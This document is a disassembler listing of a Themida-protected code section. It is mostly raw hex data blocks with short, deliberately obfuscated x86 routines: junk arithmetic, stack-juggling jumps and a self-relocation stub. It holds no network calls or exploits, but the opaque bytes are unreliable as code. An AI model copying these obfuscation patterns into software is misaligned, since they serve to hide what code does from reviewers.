dd 0B8C9h, 0C00B0000h, 0BD834674h, 7E03441h, 0FF067400h
dd 0E018C195h, 63B58B07h, 8D07E04Eh, 0E2AE5885h, 8DD0FF07h
dd 0E042C085h, 0C7D0FF07h, 0E00F8D85h, 107h, 99A58B00h
dd 8B07E030h, 0E01B0DB5h, 71AD8B07h, 3307E006h, 0CC2C0h
dd 12819D89h, 958B07E0h, 7E02621h, 2269BD83h, 0F0007E0h
dd 5084h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 0F281FA8Eh, 2498F188h, 33B195FFh
dd 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 4A8C9C3h, 89730F2Dh, 0E01EB585h, 51BD8307h
dd 7E015h, 22C850Fh, 0B5890000h, 7E02D45h, 25FD958Bh, 0BD8307E0h
dd 7E016B1h, 13850F01h, 0F000002h, 289h, 60D88B00h, 3499858Bh
dd 850307E0h, 7E02E3Dh, 4DBD8361h, 7E012h, 1F0840Fh, 0CAB20000h
dd 4EB6BD83h, 0F0007E0h, 1E184h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 14E995DFh
dd 90000000h, 0E384ACC0h, 5681E2E6h, 0B440EA58h, 4F1ED8C1h
dd 0E8EDFB72h, 13h, 52BD513Ch, 5D50FAFEh, 2F9B27B6h, 27693FE5h
dd 1F44354h, 0E018359Dh, 858D5A07h, 7E2AE58h, 2963BB66h
dd 4E63B58Bh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 0E83A46C3h, 6, 3FD06364h, 952B7DEAh
dd 7E022A9h, 0B6D0FF5Bh, 5985C625h, 5407E007h, 1B99958Bh
dd 4E807E0h, 0F4000000h, 57FF4EBEh, 3CDEBB66h, 850F505Bh
dd 17h, 5E860h, 0F2D00000h, 5BA8F2B5h, 5E9h, 0F51CB600h
dd 8B61B1E4h, 0F042444h, 1E80h, 12E800h, 0F2C20000h, 336B005Fh
dd 2D30EFDAh, 7A183783h, 2E0315FBh, 8F0Fh, 8B5B0000h, 89DA8A00h
dd 0F042444h, 0F8Eh, 5E86000h, 92000000h, 50A0B04Ah, 6161605Ah
dd 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 81DB9779h, 51773ECAh, 1B5FF69h, 0BB07E02Fh
dd 797DEE1Eh, 39F8858Dh, 0DE8007E0h, 0FD0FF94h, 28Ch, 6A3BB200h
dd 0D68B6600h, 950BFF6Ah, 7E02321h, 0D0FF6160h, 10E9h
dd 8481C000h, 0CB17F026h, 75ADB00Dh, 40C57A9Ah, 0FFDE8BB9h
dd 0E0005DB5h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 3038F183h, 0FB420A7Ch
dd 0D680C61Dh, 0FD95FF5Fh, 6A07E028h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 185AC351h
dd 0FF9C807h, 587h, 0F3816600h, 0B58B6784h, 7E04E63h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0B8C35646h, 97C9E88Ch
dd 6655832Bh, 0B3C3D08Bh, 39B58BFAh, 8B07E020h, 0E008F195h
dd 0FF60B07h, 3D84h, 89D78B00h, 0E01D6DB5h, 6C607h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0DFC35141h, 8815C9Ah
dd 1D69950Eh, 1189BD09h, 295107E0h, 0E018198Dh, 85895A07h
dd 7E04E6Bh, 164D8D89h, 83FC07E0h, 840F00F8h, 31Ah, 2A698509h
dd 0B807E0h, 81000000h, 64A66BE2h, 83C1B72Eh, 840F00F8h
dd 0C2h, 83DE8B66h, 850F02F8h, 98h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 70C35040h, 0E7344F70h, 0AD958B4Fh
dd 8D07E008h, 0E044E685h, 38C0F07h, 66000000h, 0BF0FD98Bh
dd 9292DD1h, 9D0B0000h, 7E012A9h, 8E890h, 2C280000h, 0FB3DFA5Dh
dd 52500AE6h, 5250310Fh, 585A310Fh, 505A585Ah, 0D68B5250h
dd 0DE8A310Fh, 6A90585Ah, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 0A3BDC357h, 61808C50h
dd 92638D7h, 0E016BDBDh, 0F4B7C307h, 0B8h, 8C0F5300h, 6
dd 143D958Bh, 0E95B07E0h, 242h, 12B58501h, 1B807E0h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 0BDBC352h, 511E22EBh
dd 0DE8B3DCFh, 0EBBD8DF9h, 8B07E044h, 0E016F195h, 7E86007h
dd 37000000h, 0F4659D11h, 9D03500Fh, 7E00FA1h, 16D3815Fh
dd 613352BDh, 0A9E9h, 0FE800h, 9DE20000h, 0E99B19F8h, 0B10CE1A5h
dd 0BF03B48Ah, 61958B35h, 5B07E02Bh, 5BF4F281h, 0F8834DDFh
dd 36850F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 5A56C357h, 0A4DD8785h
dd 44FACA86h, 46E3BD8Dh, 4FE907E0h, 66000000h, 0BF0FD38Bh
dd 3F883DEh, 22850Fh, 95330000h, 7E0226Dh, 4877BD8Dh, 8B0F07E0h
dd 3, 0E9A3DA80h, 26h, 28C0Fh, 0DF8B0000h, 0F05F883h, 1585h
dd 28E0F00h, 0B6000000h, 0C8E9B6h, 60F80000h, 0BF0FC38Bh
dd 6A5761CEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 0F883C352h, 0FC82940Fh, 0FD9589AFh
dd 0B907E016h, 9CB9640h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 0D9C35242h, 0FA9F1D0Ah, 9D8951C7h, 7E015B5h
dd 0F003F83h, 6184h, 0E59D2B00h, 107E004h, 0E02A799Dh
dd 800F3007h, 860F2CF7h, 6, 26A98589h, 0C9D107E0h, 102DBD89h
dd 9D8B07E0h, 7E019BDh, 699D8B47h, 0E907E01Fh, 0FFFFFFC0h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 26C35242h
dd 881C7B99h, 60666292h, 0BF0FD38Bh, 0F88361D9h, 73850F05h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 0F7F4C350h, 66F50209h, 6E9D98Ch
dd 0A2000000h, 925E6C2Bh, 4C1F6E8h, 1C850Fh, 9D890000h
dd 7E0305Dh, 0B8h, 218D8900h, 0E907E02Bh, 26h, 0DFD6EB81h
dd 858B7B96h, 7E023F5h, 19119589h, 0E0FF07E0h, 0C870Fh
dd 800F0000h, 6, 20A9958Bh, 0BD8307E0h, 7E028FDh, 0B4850F00h
dd 89000000h, 0E010A9BDh, 4895007h, 0D6BF0F24h, 75985C6h
dd 504507E0h, 685A29B7h, 0B354DD11h, 0D1CA56BAh, 24348154h
dd 3D26B478h, 7E9h, 0BF5DFB00h, 85250FEFh, 2F01B5FFh, 6A07E0h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 41107FC3h, 4605CAD3h, 0E9951262h, 0Eh, 0ED71A0D7h, 906C25C4h
dd 5E077E87h, 858D949Bh, 7E039F8h, 5BDE80FCh, 6AD0FFh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 9F8395C3h, 9589FA80h, 7E03149h, 28FD8589h, 0B70F07E0h
dd 816658D9h, 832C79F3h, 0E04EBABDh, 840F0007h, 4Dh, 0FE9h
dd 67CBE100h, 0E578FB3Fh, 0EBF3652h, 0F43ECA62h, 5DB5FFh
dd 8E907E0h, 0D6000000h, 942C31A9h, 0FF0B97A9h, 0E028FD95h
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 74CB6E0h, 0F8830Ch, 11E850Fh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0B178E7C3h, 3995BA3Eh, 0B58933BBh, 7E00769h, 105BD83h
dd 0F0007E0h, 4C84h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0A22C7748h, 0BD893198h
dd 7E026A9h, 105B5FFh, 0EE8007E0h, 1B88Eh, 95090000h, 7E014C9h
dd 2AAE9h, 870F00h, 89000000h, 0E01E39BDh, 5DB5FF07h, 3307E000h
dd 0E033F995h, 32D0BB07h, 0B5FF612Ah, 7E0005Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CCC35747h, 0E854725Eh
dd 0Dh, 18F9AE72h, 0C6D21F5Ch, 1A81BEE0h, 188D0F3Fh, 0E8000000h
dd 12h, 0E130731Ah, 4F8345B1h, 0CFB73981h, 0A1A4F6C3h
dd 5A5BD874h, 28FDB5FFh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0E9B978C3h, 20Fh, 6880Fh
dd 8D890000h, 7E022CDh, 0D78B505Fh, 71BD835Ah, 7E02Fh
dd 109850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0C09768C3h, 9958B2Dh, 0C607E002h
dd 0E0075985h, 68F94D07h, 0ED43F66Ah, 840F5250h, 0Bh, 6E9h
dd 2FEC8000h, 0F677A2Ch, 13BF6031h, 0F5FA4F3h, 89h, 585A6100h
dd 0C2243481h, 6A497680h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 7E6CC357h, 4457EB9Eh
dd 26B98589h, 666007E0h, 182A1BEh, 0E02E519Dh, 0B5FF6107h
dd 7E03085h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 0D6C35343h, 7740A3EDh, 0C0167EB4h, 18C381F2h, 8931A41Eh
dd 0E01AB1BDh, 0F8858D07h, 8B07E039h, 119523DEh, 0FF07E024h
dd 0E9D08BD0h, 0Dh, 0B2ACE6C5h, 66F06F71h, 256B92F3h, 718589E9h
dd 0E807E02Fh, 0Ah, 0B70EC33h, 202FF0AEh, 8B504897h, 0E0057995h
dd 0B85A5A07h, 0
dd 8890Fh, 850F0000h, 2, 0BD896160h, 7E04E63h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h
db 18h
byte_554345 db 3 dup(0) ; DATA XREF: ___:00444A3Co
dd 60C35646h, 70B66C63h, 0C00BF0B7h, 36840Fh, 0B9600000h
dd 0E8E4D30h, 19299D09h, 0E96107E0h, 93h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 94C35545h, 0C17DBC7h
dd 0DF8BF80Fh, 28FDB5FFh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 47BEAEC3h, 7EBA66E7h
dd 0DFB70F78h, 1F5958Bh, 858D07E0h, 7E2AE58h, 1B09958Bh
dd 669007E0h, 8B50D88Bh, 6A90D7h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 0B621F8C3h, 0D2C30B13h
dd 159D8BA2h, 5007E000h, 84BD8D56h, 8D07E056h, 0E07C688Dh
dd 23BCB807h, 0CF2B7483h, 0C8D00730h, 0F8754947h, 0BD83585Eh
dd 7E00105h, 8B067400h, 0E005D58Dh, 0B8C93307h, 0
dd 840FC00Bh, 0A8h, 3441BD83h, 740007E0h, 0C195FF06h, 0B807E018h
dd 0
dd 975C00Bh, 4E6BBD83h, 740107E0h, 6BBD8309h, 207E04Eh
dd 0B58B0E75h, 7E04E63h, 0AE58858Dh, 0D0FF07E2h, 2269BD83h
dd 740007E0h, 0B195FF06h, 8D07E033h, 0E042C085h, 83D0FF07h
dd 0E033EDBDh, 2F750207h, 3099A58Bh, 858B07E0h, 7E00105h
dd 0C7240489h, 0E00F8D85h, 107h, 67B58B00h, 8B07E04Eh
dd 0E00671ADh, 1B807h, 0CC20000h, 0C700EB00h, 0E00F8D85h
dd 107h, 99A58B00h, 8B07E030h, 0E01B0DB5h, 71AD8B07h, 3307E006h
dd 0CC2C0h, 2269BD83h, 740007E0h, 0B1BD830Fh, 7E033h, 95FF0674h
dd 7E033B1h, 4E63B58Bh, 0FC307E0h, 688h, 45958B00h, 2907E020h
dd 0E01B1985h, 29B58907h, 0BA07E021h, 0
db 80h, 0DFh, 6Dh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_554533
; ---------------------------------------------------------------------------
loc_554531: ; CODE XREF: Themida_:00554536j
inc eax
inc edi
loc_554533: ; CODE XREF: Themida_:0055452Fj
cmp byte ptr [edi], 0
jnz short loc_554531
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_554562
; ---------------------------------------------------------------------------
loc_55453F: ; CODE XREF: Themida_:00554564j
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_554557
; ---------------------------------------------------------------------------
loc_554554: ; CODE XREF: Themida_:0055455Aj
mul ebx
dec esi
loc_554557: ; CODE XREF: Themida_:00554552j
cmp esi, 0
ja short loc_554554
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_554562: ; CODE XREF: Themida_:0055453Dj
or eax, eax
jnz short loc_55453F
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
dd 6AE9B2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 0A35C5CC3h, 76C22E1h, 219589ECh, 0BA07E033h
dd 61793103h, 8DE9C18Bh, 225h, 0A77FFDF0h, 45005CEEh, 28005D09h
dd 2800000Ah, 5025B00h, 6C0A2801h, 60012FFh, 2000002h
dd 1000000h, 0
dd 0AC000000h, 0F874C7h, 4 dup(0)
dd 13000000h, 63005566h, 0EB005603h, 3B005563h, 420055B7h
dd 97005577h, 0A400558Eh, 93005560h, 0ED0055BDh, 8B0055BFh
dd 55F1h, 0C10055FFh, 6005579h, 0B20055EAh, 930055E6h
dd 8C0055BFh, 0C300558Fh, 360055DBh, 0D10055E4h, 0CF005578h
dd 0DA0055F3h, 9D005597h, 7500556Ch, 6B005578h, 330055A5h
dd 95005589h, 0C3005601h, 300055A0h, 7300554Dh, 73005596h
dd 0FC00556Ah, 0FB00556Ch, 33005589h, 21005577h, 26005567h
dd 210055FEh, 0C20055EAh, 190055EEh, 70005597h, 69005599h
dd 0D50055F9h, 440055C3h, 3800554Eh, 0F7005587h, 900558Eh
dd 0B70055A8h, 0C200559Bh, 82005549h, 9005579h, 2000557Bh
dd 0B80055F4h, 0F00055B2h, 50055D4h, 0E800560Bh, 0BB0055B5h
dd 20055ACh, 0BE0055DDh, 7900556Ch, 0CA00555Ah, 520055AEh
dd 0DC00557Eh, 3F0055B9h, 0D20055F2h, 8F0055B1h, 5F005609h
dd 15005587h, 6A005559h, 0C005592h, 0D10055A3h, 0EF005580h
dd 600055B5h, 0E70055C6h, 7B00558Bh, 200055A4h, 38005578h
dd 0DD0055FBh, 8F005553h, 20055FBh, 0B900560Dh, 86005552h
dd 8B0055DDh, 0A00055B5h, 0A50055FBh, 1F005601h, 0F00055A2h
dd 690055AEh, 0DA0055B5h, 0C5005548h, 8700560Bh, 570055FCh
dd 0DB0055D7h, 0D20055E0h, 820055D7h, 2D005558h, 3E0055D4h
dd 0CD005606h, 550055C4h, 6100558Dh, 9B005560h, 0BF005553h
dd 0EA005589h, 0FB0055E6h, 3C0055ABh, 9A0055E3h, 3C0055FEh
dd 0A000556Bh, 10055DFh, 0D30055B5h, 510055DDh, 830055B6h
dd 0B10055A2h, 0FA005580h, 970055C4h, 0EA0055DFh, 0FA0055F6h
dd 5E0055CDh, 2005578h, 0F900556Ah, 830055A0h, 570055AAh
dd 100055CBh, 780055B8h, 620055B5h, 320055F6h, 2A005556h
dd 0B400557Dh, 520055CEh, 0EB005578h, 0E500557Fh, 0E700555Ch
dd 470055A7h, 59005596h, 3400554Bh, 0E50055ECh, 8500556Ah
dd 0CF00555Ah, 0DE005549h, 3A0055B8h, 70055CEh, 0B4005566h
dd 0B200555Dh, 0A00055ECh, 0F400555Eh, 5568h, 2F00560Ch
dd 8D0055C4h, 2E00555Bh, 0E40055AAh, 460055D1h, 0D700556Bh
dd 8900557Bh, 0C4005586h, 8E0055F5h, 8D005605h, 9A00560Ah
dd 0A10055C4h, 0E00558Dh, 2600559Bh, 8B005590h, 26005602h
dd 0D6005571h, 84005591h, 0A60055ACh, 2F0055BAh, 0D000555Ah
dd 0A2005583h, 0C7005577h
db 7Bh, 55h, 0
; ---------------------------------------------------------------------------
loc_554887: ; CODE XREF: Themida_:0058411Fj
; Themida_:00590093j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 7E080E3h
mov eax, edi
add edi, 7E07DFBh
cmp eax, [edi+2Ch]
jnz short loc_5548A5
jmp short loc_5548B8
; ---------------------------------------------------------------------------
loc_5548A5: ; CODE XREF: Themida_:005548A1j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_5548B4
; ---------------------------------------------------------------------------
loc_5548AF: ; CODE XREF: Themida_:005548B6j
add [edi+ecx*4+40h], eax
dec ecx
loc_5548B4: ; CODE XREF: Themida_:005548ADj
or ecx, ecx
jnz short loc_5548AF
loc_5548B8: ; CODE XREF: Themida_:005548A3j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_5548C5: ; CODE XREF: Themida_:005548CCj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_5548C5
loc_5548CE: ; CODE XREF: Themida_:loc_556794j
; Themida_:005568AFj ...
lodsb
push bx
mov bl, 0D3h
add al, bl
jmp loc_5592C2
; ---------------------------------------------------------------------------
dw 77FFh
dd 59669D1Ch, 9C2414D2h, 0FFFFE5E9h, 0BF575CFFh, 4, 6DE9FE01h
dd 5B000049h, 348BF001h, 4DBBE924h, 875B0000h, 248B2434h
dd 48F5424h, 4E48E924h, 0C6290000h, 81C60158h, 6C49AEC6h
dd 1CC68145h, 5876B049h, 0E904C683h, 6E7Ch, 4C481h, 97E90000h
dd 89FFFFFFh, 0ECE92414h, 5A00000Ch, 8B24048Fh, 12E92424h
dd 870000ACh, 0E95C2414h, 613Dh
; ---------------------------------------------------------------------------
loc_554954: ; CODE XREF: Themida_:005606BEj
mov edi, 4B956385h
sub [esp+4], edi
mov edi, [esp]
push ebx
jmp loc_557DF9
; ---------------------------------------------------------------------------
loc_554966: ; CODE XREF: Themida_:00556748j
xor esi, [esp]
xor [esp], esi
jmp loc_55C993
; ---------------------------------------------------------------------------
db 31h, 1Ch, 24h
dd 8B241C33h, 4212424h, 4BE99C24h, 66FFFFFFh, 0B0505251h
dd 58C688E5h, 80D3E9h, 0E9D90100h, 0D88h, 632DC801h, 56BF57Dh
dd 69C46ED4h, 9AEB8159h, 52307E65h, 0FB0F9EBAh, 765CE97Bh
dd 0E9500000h, 5BF0h, 2116E951h, 6B680000h, 89000053h
dd 0FFE92414h, 66FFFFFEh, 5724048Bh, 0E952E789h, 4CB9h
dd 68DBF7h, 29000000h, 565B241Ch, 0EF51DDBEh, 9DCE8125h
dd 812EAD20h, 9F597CCEh, 8B6DE90Ah, 89660000h, 0CFB22414h
dd 34A9E9h, 76EB8100h, 5A6A873Ah, 4C381h, 1C870000h, 76E95C24h
dd 10000C0h, 0CEE92404h
db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554A27: ; CODE XREF: Themida_:0055AE79j
push edi
mov edi, 4
add ecx, edi
pop edi
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_560328
; ---------------------------------------------------------------------------
aRws db 'RWéÔ',27h,0
dd 81FB0100h, 0D7452DC3h, 0C2C3815Eh, 0FF6C4066h, 815F2434h
dd 4C4h, 2C38300h, 22B6E9h, 0C86BA00h, 0F281415Bh, 79176EC1h
dd 1932BE56h, 9DE9168Bh, 0BB000096h, 5F657FD6h, 74ECE9h
dd 0BDE95C00h, 8700001Dh, 0D35C2404h, 0E99C242Ch, 0FFFFFE2Eh
dd 89243C89h, 6AFDE9E7h, 2D590000h, 5A937BC8h, 917BE9h
dd 56106800h, 3C890000h, 0C6895624h, 0E95EF789h, 882Dh
dd 9C240430h, 0FFFDFDE9h, 0C8B66FFh, 0A5C0E924h, 565B0000h
dd 268h, 0F0015E00h, 8324348Bh, 48704C4h, 24248B24h, 0C5885153h
dd 8859EB88h, 241C8B1Ah, 5086853h, 24890000h, 24048324h
dd 0E9565B04h, 2650h, 922CD800h, 50241C8Bh, 0BB535854h
dd 4, 0E95BD801h, 709Bh, 5258E588h, 0D02857B2h, 68E8005Ah
dd 7A87h, 0B6241489h, 9DB151CAh, 7CE9CE30h, 0A5h, 241C8BD9h
dd 4C481h, 0C8000000h, 6F47E9h, 3B566800h, 0A8E90000h
dd 0E90000A9h, 0FFFFFD66h, 8F04C483h, 248B2404h, 66E1F624h
dd 81CCB60Fh, 4ECh, 24048900h, 7A2BE954h, 1680000h, 0E9000000h
dd 86FCh, 295EF729h, 0D8015FF8h, 0A6762605h, 4576E95Dh
dd 0DF010000h, 3A41C781h, 0E95B4F0Ah, 765Eh, 8B24048Fh
dd 89662424h, 0FE92404h
db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554BBF: ; CODE XREF: Themida_:0055D13Ej
mov eax, [esp]
push ebp
mov ebp, esp
jmp loc_55D6DE
; ---------------------------------------------------------------------------
dw 1489h
aTsA db '$Té!a',0
dw 8100h
dd 3602ABF7h, 5FFD01E4h, 0BE565052h, 793D301Ah, 2356EE81h
dd 0BA527852h, 4A2359B5h, 770AE9h
db 0
; ---------------------------------------------------------------------------
loc_554BF5: ; CODE XREF: Themida_:0055ED3Aj
mov ebp, 0DE71840h
sub ebp, 3B9411B7h
or ebp, 2976111Bh
and ebp, 746B730Ch
and ebp, 6E06487h
sub ebp, 7DC26244h
add ebp, 0B2533B35h
add esi, ebp
pop ebp
not esi
sub esi, 7375762Eh
not esi
or esi, 36D869DEh
sub esi, 24521F00h
add edi, esi
pop esi
xor ecx, edi
pop edi
push 928h
mov [esp], esi
mov esi, 5FEE2EC4h
sub esi, 5FEE2EC3h
push esi
pop eax
mov esi, [esp]
push 24BFh
mov [esp], ebp
mov ebp, esp
jmp loc_55ABF0
; ---------------------------------------------------------------------------
aSH9 db 'S³µ(Þ[h9',0Dh,0
dw 8900h
dd 57E92404h, 830000A8h, 83E904ECh
db 25h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554C7F: ; CODE XREF: Themida_:0055C13Bj
and eax, ecx
jmp loc_55B842
; ---------------------------------------------------------------------------
dw 8CB3h
dd 6606C380h, 2891B450h, 8AD8E9E3h, 48F0000h, 24248B24h
dd 9C2424D3h, 0FFFC29E9h, 0B65266FFh, 66F0283Ch, 4F8005Ah
dd 241C8B3Ch, 11C9E9h, 0FFFFBF00h, 23E9FFFFh, 57000032h
dd 6F424CBFh, 0BDB8BE31h, 0FE01CE90h, 5EF1015Fh, 0ADA0E9h
dd 59C82900h, 4E9815Fh, 116C337h, 4C181C1h, 5816C337h
dd 92CBE9h
db 0
; ---------------------------------------------------------------------------
loc_554CF1: ; CODE XREF: Themida_:0055900Ej
xchg edi, [esp]
jmp loc_55CDF3
; ---------------------------------------------------------------------------
db 4Eh, 81h, 0F6h
dd 4A244113h, 815EF201h, 4C2h, 88F8E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554D0E: ; CODE XREF: Themida_:0055D902j
mov esi, esp
jmp loc_556FDA
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 4B8h, 6EF8100h, 293C356Fh, 6C781C7h, 0E93C356Fh, 3CA9h
dd 240C8B66h, 81E28952h, 4ECh, 6926E900h, 1C890000h, 0E0895024h
dd 405h, 4E88300h, 5C240487h, 0B5240C89h, 73B050BBh, 0C730E2B7h
dd 59EF2858h, 0FFFF3CE9h, 241431FFh, 5C241433h, 0E9505153h
dd 78F0h, 83240C8Bh, 1C8704C4h, 0E9505C24h, 3AAFh, 17074CBDh
dd 53DDF756h, 0EF48BFBBh, 0AEB8163h, 0C10BDC23h, 32E907E3h
dd 0E90000BAh, 0FFFFFB26h, 4A56EE81h, 0BA526CE7h, 5D1171EAh
dd 10ECA81h, 3AE97CAFh, 1000038h, 240C8BCEh, 0E9E18951h
dd 2FD3h, 0F0207781h, 5306C077h, 0BB78E9h, 4C28100h, 81000000h
dd 4C2h, 0B677E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554DEA: ; CODE XREF: Themida_:00557969j
add eax, 4
xchg eax, [esp]
pop esp
push edi
mov edi, esp
push ecx
mov ecx, 545B27FAh
neg ecx
sub ecx, 471B5B26h
shr ecx, 2
add ecx, 0E6DDA0CCh
add edi, ecx
jmp loc_557FFA
; ---------------------------------------------------------------------------
dd 182DD829h, 0E91FD14Ch, 35C4h
; ---------------------------------------------------------------------------
loc_554E20: ; CODE XREF: Themida_:00559E22j
pop eax
not bl
jmp loc_55B6A8
; ---------------------------------------------------------------------------
dd 79B8055Dh, 0F3352E03h, 0E92E44B9h, 26EBh, 4C3815Bh
dd 0E9000000h, 983Ah
db 8Fh
byte_554E45 db 2, 0E9h, 0F9h ; DATA XREF: ___:00444BA4o
; ___:00444BACo ...
dd 8F000031h, 4832404h, 56590424h, 0F946DDBEh, 2BF6812Fh
dd 811E9E5Ch, 802F64C6h, 0FF3EE93Bh, 0C481FFFFh, 4, 4EC81h
dd 34890000h, 348B5424h, 4C48324h, 4C681h, 0B6680000h
dd 0E9000067h, 7800h, 758A68h, 242C8900h, 242C8B54h, 8104C483h
dd 4C5h, 0E1895100h, 8AE8E9h, 74FF5300h, 39E90424h
db 42h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554EB7: ; CODE XREF: Themida_:005595E4j
add edx, 3F1B1FD8h
add edx, 3EF486A4h
mov ecx, edx
mov edx, [esp]
add esp, 4
add ecx, 0FFFFFFFFh
shr ecx, 1
shl ecx, 7
add ecx, 0B367E004h
add ebp, 57DD10F6h
add ebp, ecx
sub ebp, 57DD10F6h
pop ecx
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_55EA8B
; ---------------------------------------------------------------------------
dd 575EF729h, 42474FFh, 24048F5Fh, 41B6E95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554F0E: ; CODE XREF: Themida_:0055D769j
xchg ebp, [esp]
jmp loc_55E64E
; ---------------------------------------------------------------------------
aFyfyfrsD db 'fYfYfRéݤ',0
db 0
; ---------------------------------------------------------------------------
loc_554F21: ; CODE XREF: Themida_:0055CE52j
add esi, 1C3443B2h
sub ecx, esi
pop esi
and eax, ecx
pop ecx
or eax, eax
jz loc_55B0F1
push dword ptr [edi+28h]
sub esp, 4
mov [esp], ebx
jmp loc_559F58
; ---------------------------------------------------------------------------
aSsm db 'SéŒ"',0
align 4
dd 0E958C101h, 6CEEh
; ---------------------------------------------------------------------------
loc_554F54: ; CODE XREF: Themida_:00556602j
push esi
push esp
pop esi
add esi, 4
add esi, 4
jmp loc_560C45
; ---------------------------------------------------------------------------
db 0C1h, 0E1h, 3
dd 0E9C1D1F7h, 0BC08E908h, 15F0000h, 34875BDEh, 9665C24h
dd 0E99C2404h, 0FFFFF94Ah
; ---------------------------------------------------------------------------
loc_554F84: ; CODE XREF: Themida_:0055B440j
xchg eax, [esp]
mov esp, [esp]
push dword ptr [esp]
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
sub edx, 4
push edx
jmp loc_55D8EE
; ---------------------------------------------------------------------------
db 5Ch, 83h, 0ECh
dd 24148904h, 2BAh, 5AD10100h, 0B89CE9h, 0D1F38000h, 881DC380h
dd 0B3535BDEh, 25FCE9BFh, 0E0890000h, 4BB53h, 0FE680000h
dd 89000064h, 3CBF243Ch, 817A777Ch, 561B92EFh, 20C78177h
dd 0F7005904h, 44F5E9DFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554FF2: ; CODE XREF: Themida_:00559789j
xor edx, 46D8F335h
jmp loc_557F46
; ---------------------------------------------------------------------------
aYhJ db 'Yh{J',0
dw 8900h
dd 0D3B1240Ch, 27B25250h, 68E9CBB0h, 5000046h, 1932254Eh
dd 12E95Fh, 0C6810000h, 4, 5C243487h, 0E9240487h, 0B02Fh
dd 3302C083h, 4312404h, 24043324h, 6624248Bh, 9C2424D3h
dd 0FFFD5AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555049: ; CODE XREF: Themida_:0055D170j
mov [esp], edi
mov edi, 0E2176541h
jmp loc_5586A0
; ---------------------------------------------------------------------------
loc_555056: ; CODE XREF: Themida_:0055F612j
sub ebp, 71C44992h
pop eax
add ebp, eax
push ecx
mov ecx, 79343764h
neg ecx
and ecx, 14DD3B75h
or ecx, offset byte_5B15DB
inc ecx
sub ecx, 3C135CACh
sub ecx, 49CF7E02h
add ebp, ecx
pop ecx
mov eax, [esp]
add esp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
shr ecx, 0Bh
push ebx
xor dword ptr [esp], 41101A00h
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_55C4E4
; ---------------------------------------------------------------------------
